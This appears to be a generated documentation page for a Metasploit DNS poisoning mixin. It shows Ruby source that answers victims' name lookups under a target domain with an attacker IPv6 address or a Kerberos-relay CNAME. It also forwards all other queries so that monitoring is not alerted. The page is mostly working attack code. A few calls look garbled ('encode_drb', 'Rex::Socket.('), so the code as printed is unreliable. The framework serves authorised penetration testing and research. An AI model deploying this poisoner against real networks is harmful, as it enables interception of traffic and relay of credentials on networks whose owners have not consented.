Module: Msf::Exploit::Remote::DNS::NamePoisoner
- Defined in:
- lib/msf/core/exploit/remote/dns/name_poisoner.rb
Instance Method Summary collapse
- #initialize(info = {}) ⇒ Object
-
#on_dispatch_request(cli, data) ⇒ Object
Poison lookups that fall under the target scope; forward everything else so the victim keeps working (and so we do not tip off monitoring by breaking unrelated name resolution).
-
#poison_description ⇒ Object
Human-readable description of what poisoned names resolve to.
-
#validate_ipv6!(address, name) ⇒ Object
Fail the module unless
addressis a valid IPv6 address.
Instance Method Details
#initialize(info = {}) ⇒ Object
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 20 def initialize(info = {}) super ( [ # The victim is steered to query the attacker's IPv6 address (SPOOF_IP6), # so the paired DNS server has to listen on IPv6. SocketServer defaults # SRVHOST to 0.0.0.0, which binds IPv4 only and silently drops every IPv6 # query; default to :: (all IPv6 addresses) instead. This also keeps the # A-record branch in poison_answers_for from handing out 0.0.0.0. OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]), OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name plus its terminal attacker address (the DNS-CNAME Kerberos relay trick).' ]) ], Exploit::Remote::DNS::NamePoisoner ) end |
#on_dispatch_request(cli, data) ⇒ Object
Poison lookups that fall under the target scope; forward everything else so the victim keeps working (and so we do not tip off monitoring by breaking unrelated name resolution).
42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 42 def on_dispatch_request(cli, data) return if data.strip.empty? req = Rex::Proto::DNS::Packet.encode_drb(data) peer = Rex::Socket.(cli.peerhost, cli.peerport) poisoned = false req.question.each do |question| answers = poison_answers_for(question) next if answers.empty? answers.each { |rr| req.add_answer(rr) } poisoned = true print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") end unless poisoned # Not in scope: fall back to the default cache/forward behaviour. return service.default_dispatch_request(cli, data) end req.header.qr = true req.header.ra = true service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode) end |
#poison_description ⇒ Object
Human-readable description of what poisoned names resolve to.
69 70 71 |
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 69 def poison_description datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] end |
#validate_ipv6!(address, name) ⇒ Object
Fail the module unless address is a valid IPv6 address.
74 75 76 77 78 |
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 74 def validate_ipv6!(address, name) return if Rex::Socket.is_ipv6?(address.to_s) fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address") end |